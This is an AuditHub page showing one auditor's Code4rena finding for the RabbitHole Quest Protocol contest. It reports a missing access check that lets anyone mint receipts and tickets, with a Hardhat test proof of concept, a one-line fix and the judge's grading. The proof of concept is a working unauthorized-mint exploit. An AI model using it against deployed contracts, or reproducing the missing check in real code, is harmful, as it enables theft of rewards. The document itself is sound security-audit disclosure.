RabbitHole Quest Protocol contest - Jayus's results

A protocol to distribute token rewards for completing on-chain tasks.

General Information

Platform: Code4rena

Start Date: 25/01/2023

Pot Size: $36,500 USDC

Total HM: 11

Participants: 173

Period: 5 days

Judge: kirk-baird

Total Solo HM: 1

Id: 208

League: ETH

RabbitHole

Findings Distribution

Researcher Performance

Rank: 155/173

Findings: 1

Award: $2.59

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L83-L99 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L98-L104

Vulnerability details

Impact

RabbitHole receipts and tickets can be minted by anyone due to a missing require check.

Proof of Concept

import { expect } from 'chai' import { Contract } from 'ethers' import { ethers, upgrades } from 'hardhat' describe('Audit PoC', async () => { let RHReceipt: Contract, deployedFactoryContract: Contract, deployedReceiptRenderer: Contract, contractOwner: { address: String }, royaltyRecipient: { address: String }, minterAddress: { address: String }, fakeMinter: { address: string } beforeEach(async () => { ;[contractOwner, royaltyRecipient, minterAddress, fakeMinter] = await ethers.getSigners() const questFactory = await ethers.getContractFactory('QuestFactory') const RabbitHoleReceipt = await ethers.getContractFactory('RabbitHoleReceipt') const ReceiptRenderer = await ethers.getContractFactory('ReceiptRenderer') deployedReceiptRenderer = await ReceiptRenderer.deploy() await deployedReceiptRenderer.deployed() RHReceipt = await upgrades.deployProxy(RabbitHoleReceipt, [ deployedReceiptRenderer.address, royaltyRecipient.address, minterAddress.address, 10, ]) deployedFactoryContract = await upgrades.deployProxy(questFactory, [ royaltyRecipient.address, RHReceipt.address, royaltyRecipient.address ]) await RHReceipt.setQuestFactory(deployedFactoryContract.address) }) describe.only('mint receipt from any address', () => { it('fakeMinter mints as many receipts as wanted', async () => { await RHReceipt.connect(fakeMinter).mint(fakeMinter.address, 'def456') await RHReceipt.connect(fakeMinter).mint(fakeMinter.address, 'def556') await RHReceipt.connect(fakeMinter).mint(fakeMinter.address, 'def656') ///fakeMinter can mint as much as they like. expect(await RHReceipt.balanceOf(fakeMinter.address)).to.eq(3) expect(await RHReceipt.questIdForTokenId(1)).to.eq('def456') expect(await RHReceipt.questIdForTokenId(2)).to.eq('def556') expect(await RHReceipt.questIdForTokenId(3)).to.eq('def656') }) }) })

Copy the code above to a file in quest-protocol/test and run yarn test

Tools Used

Hardhat

Add a require statement in the onlyMinter modifier for both RabbitHoleReceipt.sol and RabbitHoleTicket.sol

modifier onlyMinter() { require(msg.sender == minterAddress, "!minter"); _; }

#0 - c4-judge

2023-02-05T05:29:53Z

kirk-baird marked the issue as duplicate of #9

#1 - c4-judge

2023-02-05T05:29:57Z

kirk-baird marked the issue as partial-50

#2 - c4-judge

2023-02-14T08:38:06Z

kirk-baird marked the issue as satisfactory

#3 - c4-judge

2023-02-14T08:38:13Z

kirk-baird marked the issue as full credit

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter